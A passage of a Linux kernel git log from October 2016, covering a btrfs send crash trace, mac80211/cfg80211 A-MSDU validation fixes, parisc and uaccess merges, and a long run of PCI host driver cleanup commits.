ipt_REJECT iptable_raw xt_CT iptable_filter ip6table_mangle nf_conntrack_netbios_ns nf_conntrack_broadcast nf_conntrack_ipv4 nf_defrag_ipv4 ip_tables xt_conntrack nf_conntrack ip6table_filter ip6_tables x_tables xfs libcrc32c nls_iso8859_1 nls_cp437 vfat fat joydev aes_ce_blk ablk_helper cryptd snd_intel8x0 aes_ce_cipher snd_ac97_codec ac97_bus snd_pcm ghash_ce sha2_ce sha1_ce snd_timer snd virtio_net soundcore btrfs xor sr_mod cdrom hid_generic usbhid raid6_pq virtio_blk virtio_scsi bochs_drm drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops ttm virtio_mmio xhci_pci xhci_hcd usbcore usb_common virtio_pci virtio_ring virtio drm sg efivarfs [ 952.228333] Supported: Yes [ 952.228908] CPU: 0 PID: 12779 Comm: snapperd Not tainted 4.4.14-50-default #1 [ 952.230329] Hardware name: QEMU KVM Virtual Machine, BIOS 0.0.0 02/06/2015 [ 952.231683] task: ffff800058e94100 ti: ffff8000d866c000 task.ti: ffff8000d866c000 [ 952.233279] PC is at changed_cb+0x9f4/0xa48 [btrfs] [ 952.234375] LR is at changed_cb+0x58/0xa48 [btrfs] [ 952.236552] pc : [] lr : [] pstate: 80000145 [ 952.238049] sp : ffff8000d866fa20 [ 952.238732] x29: ffff8000d866fa20 x28: 0000000000000019 [ 952.239840] x27: 00000000000028d5 x26: 00000000000024a2 [ 952.241008] x25: 0000000000000002 x24: ffff8000e66e92f0 [ 952.242131] x23: ffff8000b8c76800 x22: ffff800092879140 [ 952.243238] x21: 0000000000000002 x20: ffff8000d866fb78 [ 952.244348] x19: ffff8000b8f8c200 x18: 0000000000002710 [ 952.245607] x17: 0000ffff90d42480 x16: ffff800000237dc0 [ 952.246719] x15: 0000ffff90de7510 x14: ab000c000a2faf08 [ 952.247835] x13: 0000000000577c2b x12: ab000c000b696665 [ 952.248981] x11: 2e65726f632f6966 x10: 652d34366d72612f [ 952.250101] x9 : 32627572672f746f x8 : ab000c00092f1671 [ 952.251352] x7 : 8000000000577c2b x6 : ffff800053eadf45 [ 952.252468] x5 : 0000000000000000 x4 : ffff80005e169494 [ 952.253582] x3 : 0000000000000004 x2 : ffff8000d866fb78 [ 952.254695] x1 : 000000000003e2a3 x0 : 000000000003e2a4 [ 952.255803] [ 952.256150] Process snapperd (pid: 12779, stack limit = 0xffff8000d866c020) [ 952.257516] Stack: (0xffff8000d866fa20 to 0xffff8000d8670000) [ 952.258654] fa20: ffff8000d866fae0 ffff7ffffc308fc0 ffff800092879140 ffff8000e66e92f0 [ 952.260219] fa40: 0000000000000035 ffff800055de6000 ffff8000b8c76800 ffff8000d866fb78 [ 952.261745] fa60: 0000000000000002 00000000000024a2 00000000000028d5 0000000000000019 [ 952.263269] fa80: ffff8000d866fae0 ffff7ffffc3090f0 ffff8000d866fae0 ffff7ffffc309128 [ 952.264797] faa0: ffff800092879140 ffff8000e66e92f0 0000000000000035 ffff800055de6000 [ 952.268261] fac0: ffff8000b8c76800 ffff8000d866fb78 0000000000000002 0000000000001000 [ 952.269822] fae0: ffff8000d866fbc0 ffff7ffffc39ecfc ffff8000b8f8c200 ffff8000b8f8c368 [ 952.271368] fb00: ffff8000b8f8c378 ffff800055de6000 0000000000000001 ffff8000ecb17500 [ 952.272893] fb20: ffff8000b8c76800 ffff800092879140 ffff800062b6d000 ffff80007a9e2470 [ 952.274420] fb40: ffff8000b8f8c208 0000000005784000 ffff8000580a8000 ffff8000b8f8c200 [ 952.276088] fb60: ffff7ffffc39d488 00000002b8f8c368 0000000000000000 000000000003e2a4 [ 952.280275] fb80: 000000000000006c ffff7ffffc39ec00 000000000003e2a4 000000000000006c [ 952.283219] fba0: ffff8000b8f8c300 0000000000000100 0000000000000001 ffff8000ecb17500 [ 952.286166] fbc0: ffff8000d866fcd0 ffff7ffffc3643c0 ffff8000f8842700 0000ffff8ffe9278 [ 952.289136] fbe0: 0000000040489426 ffff800055de6000 0000ffff8ffe9278 0000000040489426 [ 952.292083] fc00: 000000000000011d 000000000000001d ffff80007a9e4598 ffff80007a9e43e8 [ 952.294959] fc20: ffff8000b8c7693f 0000000000003b24 0000000000000019 ffff8000b8f8c218 [ 952.301161] fc40: 00000001d866fc70 ffff8000b8c76800 0000000000000128 ffffffffffffff84 [ 952.305749] fc60: ffff800058e941ff 0000000000003a58 ffff8000d866fcb0 ffff8000000f7390 [ 952.308875] fc80: 000000000000012a 0000000000010290 ffff8000d866fc00 000000000000007b [ 952.311915] fca0: 0000000000010290 ffff800046c1b100 74732d7366727462 000001006d616572 [ 952.314937] fcc0: ffff8000fffc4100 cb88537fdc8ba60e ffff8000d866fe10 ffff8000002499e8 [ 952.318008] fce0: 0000000040489426 ffff8000f8842700 0000ffff8ffe9278 ffff80007a9e4598 [ 952.321321] fd00: 0000ffff8ffe9278 0000000040489426 000000000000011d 000000000000001d [ 952.324280] fd20: ffff80000072c000 ffff8000d866c000 ffff8000d866fda0 ffff8000000e997c [ 952.327156] fd40: ffff8000fffc4180 00000000000031ed ffff8000fffc4180 ffff800046c1b7d4 [ 952.329895] fd60: 0000000000000140 0000ffff907ea170 000000000000011d 00000000000000dc [ 952.334641] fd80: ffff80000072c000 ffff8000d866c000 0000000000000000 0000000000000002 [ 952.338002] fda0: ffff8000d866fdd0 ffff8000000ebacc ffff800046c1b080 ffff800046c1b7d4 [ 952.340724] fdc0: ffff8000d866fdf0 ffff8000000db67c 0000000000000040 ffff800000e69198 [ 952.343415] fde0: 0000ffff8ffea790 00000000000031ed ffff8000d866fe20 ffff800000254000 [ 952.346101] fe00: 000000000000001d 0000000000000004 ffff8000d866fe90 ffff800000249d3c [ 952.348980] fe20: ffff8000f8842700 0000000000000000 ffff8000f8842701 0000000000000008 [ 952.351696] fe40: ffff8000d866fe70 0000000000000008 ffff8000d866fe90 ffff800000249cf8 [ 952.354387] fe60: ffff8000f8842700 0000ffff8ffe9170 ffff8000f8842701 0000000000000008 [ 952.357083] fe80: 0000ffff8ffe9278 ffff80008ff85500 0000ffff8ffe90c0 ffff800000085c84 [ 952.359800] fea0: 0000000000000000 0000ffff8ffe9170 ffffffffffffffff 0000ffff90d473bc [ 952.365351] fec0: 0000000000000000 0000000000000015 0000000000000008 0000000040489426 [ 952.369550] fee0: 0000ffff8ffe9278 0000ffff907ea790 0000ffff907ea170 0000ffff907ea790 [ 952.372416] ff00: 0000ffff907ea170 0000000000000000 000000000000001d 0000000000000004 [ 952.375223] ff20: 0000ffff90a32220 00000000003d0f00 0000ffff907ea0a0 0000ffff8ffe8f30 [ 952.378099] ff40: 0000ffff9100f554 0000ffff91147000 0000ffff91117bc0 0000ffff90d473b0 [ 952.381115] ff60: 0000ffff9100f620 0000ffff880069b0 0000ffff8ffe9170 0000ffff8ffe91a0 [ 952.384003] ff80: 0000ffff8ffe9160 0000ffff8ffe9140 0000ffff88006990 0000ffff8ffe9278 [ 952.386860] ffa0: 0000ffff88008a60 0000ffff8ffe9480 0000ffff88014ca0 0000ffff8ffe90c0 [ 952.389654] ffc0: 0000ffff910be8e8 0000ffff8ffe90c0 0000ffff90d473bc 0000000000000000 [ 952.410986] ffe0: 0000000000000008 000000000000001d 6e2079747265706f 72616d223d656d61 [ 952.415497] Call trace: [ 952.417403] [] changed_cb+0x9f4/0xa48 [btrfs] [ 952.420023] [] btrfs_compare_trees+0x500/0x6b0 [btrfs] [ 952.422759] [] btrfs_ioctl_send+0xb4c/0xe10 [btrfs] [ 952.425601] [] btrfs_ioctl+0x374/0x29a4 [btrfs] [ 952.428031] [] do_vfs_ioctl+0x33c/0x600 [ 952.430360] [] SyS_ioctl+0x90/0xa4 [ 952.432552] [] el0_svc_naked+0x38/0x3c [ 952.434803] Code: 2a1503e0 17fffdac b9404282 17ffff28 (d4210000) [ 952.437457] ---[ end trace 9afd7090c466cf15 ]--- Signed-off-by: Filipe Manana fs/btrfs/send.c | 58 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) commit 40c30bbf3377babc4d6bb16b699184236a8bfa27 Author: Brian Masney Date: Tue Oct 11 19:28:02 2016 -0400 platform/x86: ideapad-laptop: Add Lenovo Yoga 910-13IKB to no_hw_rfkill dmi list The Lenovo Yoga 910-13IKB does not have a hw rfkill switch, and trying to read the hw rfkill switch through the ideapad module causes it to always report as blocked. This commit adds the Lenovo Yoga 910-13IKB to the no_hw_rfkill dmi list, fixing the WiFI breakage. Signed-off-by: Brian Masney Signed-off-by: Darren Hart drivers/platform/x86/ideapad-laptop.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 127595ed21c1bb24e20d488914b70ca7a643f7a4 Author: Arnd Bergmann Date: Mon Oct 10 13:12:58 2016 +0200 platform/x86: intel_pmc_core: avoid boot time warning for !CONFIG_DEBUGFS_FS While looking at a patch that introduced a compile-time warning "‘pmc_core_dev_state_get’ defined but not used" (I sent a patch for debugfs to fix it), I noticed that the same patch caused it in intel_pmc_core also introduced a bogus run-time warning: "PMC Core: debugfs register failed". The problem is the IS_ERR_OR_NULL() check that as usual gets things wrong: when CONFIG_DEBUGFS_FS is disabled, debugfs_create_dir() fails with an error code, and we don't need to warn about it, unlike the case in which it returns NULL. This reverts the driver to the previous state of not warning about CONFIG_DEBUGFS_FS being disabled. I chose not to restore the driver to making a runtime error in debugfs fatal in pmc_core_probe(). Fixes: df2294fb6428 ("intel_pmc_core: Convert to DEFINE_DEBUGFS_ATTRIBUTE") Signed-off-by: Arnd Bergmann Signed-off-by: Darren Hart drivers/platform/x86/intel_pmc_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1d4de2e222b41006007d7dbfce2abfe448217e49 Author: Michael Braun Date: Mon Oct 3 13:14:15 2016 +0200 mac80211: fix CMD_FRAME for AP_VLAN When using IEEE 802.11r FT OVER-DS roaming with AP_VLAN, hostapd needs to send out a frame using CMD_FRAME for a station assigned to an AP_VLAN interface. Right now, the userspace needs to give the exact AP_VLAN interface index for CMD_FRAME; hostapd does not do this. Additionally, userspace cannot use GET_STATION to query the AP_VLAN ifidx, as while GET_STATION finds stations assigned to AP_VLAN even if the AP iface is queried, it does not return AP_VLAN ifidx (it returns the queried one). This breaks IEEE 802.11r over_ds with vlans, as the reply frame does not get out. This patch fixes this by using get_sta_bss for CMD_FRAME. Signed-off-by: Michael Braun Signed-off-by: Johannes Berg net/mac80211/offchannel.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e2b5227faaf33109d9d00f8a99f7b4f45a9d9c9f Author: Johannes Berg Date: Wed Oct 5 16:42:06 2016 +0200 mac80211: validate DA/SA during A-MSDU decapsulation As pointed out by Michael Braun, we don't check inner L2 addresses during A-MSDU decapsulation, leading to the possibility that, for example, a station associated to an AP sends frames as though they came from somewhere else. Fix this problem by letting cfg80211 validate the addresses, as indicated by passing in the ones that need to be validated. Reported-by: Michael Braun Signed-off-by: Johannes Berg net/mac80211/rx.c | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) commit 8b935ee2ea17db720d70f6420f77f594c0c93f75 Author: Johannes Berg Date: Wed Oct 5 16:17:01 2016 +0200 cfg80211: add ability to check DA/SA in A-MSDU decapsulation We should not accept arbitrary DA/SA inside A-MSDUs, it could be used to circumvent protections, like allowing a station to send frames and make them seem to come from somewhere else. Add the necessary infrastructure in cfg80211 to allow such checks, in further patches we'll start using them. Signed-off-by: Johannes Berg drivers/net/wireless/marvell/mwifiex/11n_rxreorder.c | 2 +- include/net/cfg80211.h | 5 ++++- net/mac80211/rx.c | 3 ++- net/wireless/util.c | 14 ++++++++++++-- 4 files changed, 19 insertions(+), 5 deletions(-) commit 7f6990c830f3e8d703f13d7963acf51936c52ad2 Author: Johannes Berg Date: Wed Oct 5 15:29:49 2016 +0200 cfg80211: let ieee80211_amsdu_to_8023s() take only header-less SKB There's only a single case where has_80211_header is passed as true, which is in mac80211. Given that there's only simple code that needs to be done before calling it, export that function from cfg80211 instead and let mac80211 call it itself. Signed-off-by: Johannes Berg .../net/wireless/marvell/mwifiex/11n_rxreorder.c | 2 +- include/net/cfg80211.h | 31 +++++++++++++++------- net/mac80211/rx.c | 8 +++++- net/wireless/util.c | 24 ++++------------- 4 files changed, 35 insertions(+), 30 deletions(-) commit ea720935cf6686f72def9d322298bf7e9bd53377 Author: Johannes Berg Date: Wed Oct 5 10:14:42 2016 +0200 mac80211: discard multicast and 4-addr A-MSDUs In mac80211, multicast A-MSDUs are accepted in many cases that they shouldn't be accepted in: * drop A-MSDUs with a multicast A1 (RA), as required by the spec in 9.11 (802.11-2012 version) * drop A-MSDUs with a 4-addr header, since the fourth address can't actually be useful for them; unless 4-address frame format is actually requested, even though the fourth address is still not useful in this case, but ignored Accepting the first case, in particular, is very problematic since it allows anyone else with possession of a GTK to send unicast frames encapsulated in a multicast A-MSDU, even when the AP has client isolation enabled. Cc: stable@vger.kernel.org Signed-off-by: Johannes Berg net/mac80211/rx.c | 24 +++++++++++++++--------- 1 file changed, 15 insertions(+), 9 deletions(-) commit 1573d2caf713874cfe0d1336c823d0fb548d8bed Merge: 4cdf8db 0a86248 Author: Linus Torvalds Date: Tue Oct 11 23:59:07 2016 -0700 Merge branch 'parisc-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux Pull parisc fixes from Helge Deller: "Some final updates and fixes for this merge window for the parisc architecture. Changes include: - Fix boot problems with new memblock allocator on rp3410 machine - Increase initial kernel mapping size for 32- and 64-bit kernels, this allows to boot bigger kernels which have many modules built-in - Fix kernel layout regarding __gp and move exception table into RO section - Show trap names in crashes, use extable.h header instead of module.h" * 'parisc-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux: parisc: Show trap name in kernel crash parisc: Zero-initialize newly alloced memblock parisc: Move exception table into read-only section parisc: Fix kernel memory layout regarding position of __gp parisc: Increase initial kernel mapping size parisc: Migrate exception table users off module.h and onto extable.h commit 4cdf8dbe2d4b3891a9abd9f9ec32acbe58de0cf6 Merge: 6b25e21 aa7eb9a Author: Linus Torvalds Date: Tue Oct 11 23:38:39 2016 -0700 Merge branch 'work.uaccess2' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs Pull uaccess.h prepwork from Al Viro: "Preparations to tree-wide switch to use of linux/uaccess.h (which, obviously, will allow to start unifying stuff for real). The last step there, ie PATT='^[[:blank:]]*#[[:blank:]]*include[[:blank:]]*' sed -i -e "s!$PATT!#include !" \ `git grep -l "$PATT"|grep -v ^include/linux/uaccess.h` is not taken here - I would prefer to do it once just before or just after -rc1. However, everything should be ready for it" * 'work.uaccess2' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs: remove a stray reference to asm/uaccess.h in docs sparc64: separate extable_64.h, switch elf_64.h to it score: separate extable.h, switch module.h to it mips: separate extable.h, switch module.h to it x86: separate extable.h, switch sections.h to it remove stray include of asm/uaccess.h from cacheflush.h mn10300: remove a bogus processor.h->uaccess.h include xtensa: split uaccess.h into C and asm sides bonding: quit messing with IOCTL kill __kernel_ds_p off mn10300: finish verify_area() off frv: move HAVE_ARCH_UNMAPPED_AREA to pgtable.h exceptions: detritus removal commit 6d3a4c404648e415e7d96e285d723936d4df7ed0 Author: Geert Uytterhoeven Date: Thu Oct 6 15:41:49 2016 +0200 strparser: Propagate correct error code in strp_recv() With m68k-linux-gnu-gcc-4.1: net/strparser/strparser.c: In function ‘strp_recv’: net/strparser/strparser.c:98: warning: ‘err’ may be used uninitialized in this function Pass "len" (which is an error code when negative) instead of the uninitialized "err" variable to fix this. Fixes: 43a0c6751a322847 ("strparser: Stream parser for messages") Signed-off-by: Geert Uytterhoeven Signed-off-by: David S. Miller net/strparser/strparser.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f84cfdf72109ce2af9bc903748e71f9af6ea4f46 Author: Bjorn Helgaas Date: Thu Oct 6 13:34:24 2016 -0500 PCI: hisi: Reorder struct hisi_pcie Reorder struct hisi_pcie to put generic fields first. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-hisi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e9480b5a7f3449f75eedb595bec25cd10a1f43f2 Author: Bjorn Helgaas Date: Thu Oct 6 13:34:23 2016 -0500 PCI: hisi: Pass device-specific struct to internal functions Only interfaces used from outside the driver, e.g., those called by the DesignWare core, need to accept pointers to the generic struct pcie_port. Internal interfaces can accept pointers to the device-specific struct, which makes them more straightforward. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-hisi.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit a458ce33d40fc0b1349c5c7eb07d349dca8af287 Author: Bjorn Helgaas Date: Thu Oct 6 13:34:24 2016 -0500 PCI: hisi: Include register block base in PCIE_SYS_STATE4 address Include the PCIE_HIP06_CTRL_OFF block base in the PCIE_SYS_STATE4 register address so reads of PCIE_SYS_STATE4 don't have to mention both. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-hisi.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 8e5ec4143d6e9bff056bbf9b38b90932adbd7232 Author: Bjorn Helgaas Date: Thu Oct 6 13:33:06 2016 -0500 PCI: dra7xx: Reorder struct dra7xx_pcie Reorder struct dra7xx_pcie to put generic fields first. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-dra7xx.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 228ee66c460bbb1f76d7cac0c532ea2ad46f8d0f Author: Bjorn Helgaas Date: Thu Oct 6 13:44:43 2016 -0500 PCI: xilinx-nwl: Remove unused platform data The xilinx-nwl driver never uses the platform drvdata pointer, so don't bother setting it. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-xilinx-nwl.c | 1 - 1 file changed, 1 deletion(-) commit adf9e284b4f76dccb44d1321a02ad2fd7d4e8a1c Author: Bjorn Helgaas Date: Thu Oct 6 13:44:43 2016 -0500 PCI: xilinx-nwl: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-xilinx-nwl.c | 108 +++++++++++++++++++------------------ 1 file changed, 56 insertions(+), 52 deletions(-) commit e59e5ff9a0e9e53cbed2158d7a89e1190c72d9ff Author: Bjorn Helgaas Date: Tue Oct 11 11:36:49 2016 -0500 PCI: xilinx: Removed unused xilinx_pcie_assign_msi() argument xilinx_pcie_assign_msi() doesn't use the struct xilinx_pcie_port pointer passed to it, so remove the argument completely. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-xilinx.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 6a6c2e8a7cb66d357bf6f57d3eb3c8c23e86f648 Author: Bjorn Helgaas Date: Thu Oct 6 13:44:42 2016 -0500 PCI: xilinx: Remove unused platform data The xilinx driver never uses the platform drvdata pointer, so don't bother setting it. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-xilinx.c | 2 -- 1 file changed, 2 deletions(-) commit 5d07188e210d22aa076975ef9a8ece5633930e13 Author: Bjorn Helgaas Date: Thu Oct 6 13:44:42 2016 -0500 PCI: xilinx: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-xilinx.c | 55 ++++++++++++++++++++++-------------------- 1 file changed, 29 insertions(+), 26 deletions(-) commit 8e93c5132ca2e5ecd48c4d73035af3af03cbcdfd Author: Bjorn Helgaas Date: Thu Oct 6 13:43:42 2016 -0500 PCI: xgene: Add register accessors Add device-specific register accessors for consistency across host drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-xgene.c | 86 ++++++++++++++++++++++---------------------- 1 file changed, 44 insertions(+), 42 deletions(-) commit 4ecf6b0f83523fb186dd1de9e2f1d324a2a413d9 Author: Bjorn Helgaas Date: Thu Oct 6 13:43:41 2016 -0500 PCI: xgene: Pass struct xgene_pcie_port to setup functions Pass the struct xgene_pcie_port pointer, not addresses, to setup functions. This enables future simplifications. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-xgene.c | 36 +++++++++++++++++++++--------------- 1 file changed, 21 insertions(+), 15 deletions(-) commit c6fe9ebaacc46c8e5bdf2134357eaffbb508a16f Author: Bjorn Helgaas Date: Thu Oct 6 13:43:42 2016 -0500 PCI: xgene: Remove unused platform data The xgene driver never uses the platform drvdata pointer, so don't bother setting it. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-xgene.c | 2 -- 1 file changed, 2 deletions(-) commit 16cbff14076d2f5e1bb49025a1b3a4a7f46cc7ec Author: Bjorn Helgaas Date: Thu Oct 6 13:43:04 2016 -0500 PCI: tegra: Remove unused platform data The tegra driver never uses the platform drvdata pointer, so don't bother setting it. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-tegra.c | 1 - 1 file changed, 1 deletion(-) commit a581fa99367205e450ef582428de2f267f915791 Author: Bjorn Helgaas Date: Thu Oct 6 13:43:04 2016 -0500 PCI: tegra: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-tegra.c | 234 ++++++++++++++++++++++--------------------- 1 file changed, 122 insertions(+), 112 deletions(-) commit 8dd99bca7bfa4b62753b556c45d26f45ec9da6e6 Author: Bjorn Helgaas Date: Wed Oct 5 16:04:13 2016 -0500 PCI: tegra: Fix argument order in tegra_pcie_phy_disable() The tegra_pcie_phy_disable() path called pads_writel() with arguments in the wrong order. Swap them to be the "value, offset" order expected by pads_writel(). Fixes: 6fe7c187e026 ("PCI: tegra: Support per-lane PHYs") Signed-off-by: Bjorn Helgaas Acked-by: Thierry Reding CC: stable@vger.kernel.org # v4.7+ drivers/pci/host/pci-tegra.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9d274755c6f13b574aba6e09ab434d9f84c266a0 Author: Bjorn Helgaas Date: Thu Oct 6 13:41:24 2016 -0500 PCI: rockchip: Remove unused platform data The rockchip driver never uses the platform drvdata pointer, so don't bother setting it. No functional change intended. Signed-off-by: Bjorn Helgaas Acked-by: Shawn Lin drivers/pci/host/pcie-rockchip.c | 2 -- 1 file changed, 2 deletions(-) commit de9e6bc84b7e6ea707b34158afde11da80404ab0 Author: Bjorn Helgaas Date: Mon Oct 10 15:04:14 2016 -0500 PCI: rcar-gen2: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas Acked-by: Simon Horman drivers/pci/host/pci-rcar-gen2.c | 46 ++++++++++++++++++++++------------------ 1 file changed, 25 insertions(+), 21 deletions(-) commit 3ff8e4ac3a343d0dff29b8f56c493bda9400541a Author: Bjorn Helgaas Date: Thu Oct 6 13:40:28 2016 -0500 PCI: rcar: Remove DRV_NAME macro The DRV_NAME macro is only used once, so there's no real advantage to having the macro at all. Remove it and use the "rcar-pcie" name directly in the struct platform_driver. No functional change intended. Signed-off-by: Bjorn Helgaas Acked-by: Simon Horman drivers/pci/host/pcie-rcar.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit d0206f21212a47b4334950ae7adceae543956ce2 Author: Bjorn Helgaas Date: Thu Oct 6 13:40:27 2016 -0500 PCI: rcar: Remove unused rcar_pcie_get_resources() platform_device arg rcar_pcie_get_resources() doesn't use the platform_device pointer passed to it, so remove it. No functional change intended. Signed-off-by: Bjorn Helgaas Acked-by: Simon Horman drivers/pci/host/pcie-rcar.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit d9c64c500aecfc1623a9f21e5a563916d4730832 Author: Bjorn Helgaas Date: Thu Oct 6 13:40:27 2016 -0500 PCI: rcar: Remove unused platform data The rcar driver never uses the platform drvdata pointer, so don't bother setting it. No functional change intended. Signed-off-by: Bjorn Helgaas Acked-by: Simon Horman drivers/pci/host/pcie-rcar.c | 1 - 1 file changed, 1 deletion(-) commit ee053694123fd680c9121f56e6f03013a6d32e60 Author: Bjorn Helgaas Date: Thu Oct 6 13:39:37 2016 -0500 PCI: qcom: Reorder struct qcom_pcie Reorder struct qcom_pcie to put generic fields first. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-qcom.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit e6a087eeaf91b8418694429dafd9bd06e4bc29f6 Author: Bjorn Helgaas Date: Thu Oct 6 13:39:37 2016 -0500 PCI: qcom: Remove redundant struct qcom_pcie.dev Remove the struct qcom_pcie.dev member, which is a duplicate of the generic pp.dev member. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-qcom.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 0edd578e7aacaa801efb9766efae920f00219601 Author: Bjorn Helgaas Date: Thu Oct 6 13:39:37 2016 -0500 PCI: qcom: Remove redundant struct qcom_pcie.dbi Remove the struct qcom_pcie.dbi member, which is a duplicate of the generic pp.dbi_base member. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-qcom.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit 661a0e4ce08a54caa9ec398ad083a85aa7fe05bb Author: Bjorn Helgaas Date: Thu Oct 6 13:39:38 2016 -0500 PCI: qcom: Remove unused platform data The qcom driver never uses the platform drvdata pointer, so don't bother setting it. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-qcom.c | 2 -- 1 file changed, 2 deletions(-) commit 96f61707f26a5dcd0631b5533cde0fc4d522d133 Author: Bjorn Helgaas Date: Tue Oct 11 23:19:05 2016 -0500 PCI: mvebu: Use existing of_node pointer Use the existing "np" pointer instead of looking up dev->of_node again. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-mvebu.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 160b4e418909585b8821191cffc34c1a95462217 Author: Bjorn Helgaas Date: Thu Oct 6 13:38:58 2016 -0500 PCI: mvebu: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-mvebu.c | 21 +++++++++------------ 1 file changed, 9 insertions(+), 12 deletions(-) commit 6caaa28d926165e9943267b3e8b4f19686f22257 Author: Bjorn Helgaas Date: Thu Oct 6 13:38:05 2016 -0500 PCI: layerscape: Reorder struct ls_pcie Reorder struct ls_pcie to put generic fields first. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-layerscape.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4726a8231eeca0fe6c7f685b6c3eb28e77af3d3b Author: Bjorn Helgaas Date: Thu Oct 6 13:38:06 2016 -0500 PCI: layerscape: Remove unused ls_add_pcie_port() platform_device arg ls_add_pcie_port() doesn't use the platform_device pointer passed to it, so remove it. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-layerscape.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit fefe6733e516f2fdc4afeb060ad5b5e45afbcfbd Author: Bjorn Helgaas Date: Thu Oct 6 13:38:06 2016 -0500 PCI: layerscape: Move struct pcie_port setup to probe function Do the basic pcie_port setup in the probe function for consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-layerscape.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 7b0b11133cbf14fe7113a7fa8506ac18f35c9ea5 Author: Bjorn Helgaas Date: Thu Oct 6 13:38:05 2016 -0500 PCI: layerscape: Pass device-specific struct to internal functions Only interfaces used from outside the driver, e.g., those called by the DesignWare core, need to accept pointers to the generic struct pcie_port. Internal interfaces can accept pointers to the device-specific struct, which makes them more straightforward. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-layerscape.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit d41d2959593b920e855cdd8d1829c33d34fb1071 Author: Bjorn Helgaas Date: Thu Oct 6 13:38:05 2016 -0500 PCI: layerscape: Remove redundant struct ls_pcie.dbi Remove the struct ls_pcie.dbi member, which is a duplicate of the generic pp.dbi_base member. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-layerscape.c | 24 +++++++++++------------- 1 file changed, 11 insertions(+), 13 deletions(-) commit 9f6a148f829aa615b8fc638dad13f547c77790f4 Author: Bjorn Helgaas Date: Tue Oct 11 23:13:24 2016 -0500 PCI: layerscape: Remove unused platform data The layerscape driver never uses the platform drvdata pointer, so don't bother setting it. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-layerscape.c | 2 -- 1 file changed, 2 deletions(-) commit c11125ebe746bfa4187d74cef52095104fc1334f Author: Bjorn Helgaas Date: Thu Oct 6 13:38:05 2016 -0500 PCI: layerscape: Add local struct device pointers Use a local "struct device *dev" for brevity and consistency with other drivers. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-layerscape.c | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) commit 4841f3ad0cd00d77b77566e01f71769864f658d9 Author: Bjorn Helgaas Date: Thu Oct 6 13:36:57 2016 -0500 PCI: keystone: Reorder struct keystone_pcie Reorder struct keystone_pcie to put generic fields first. No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-keystone.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5c725353e16169a612b1ba314778a2ccf4a9b05f Author: Bjorn Helgaas Date: Thu Oct 6 13:36:57 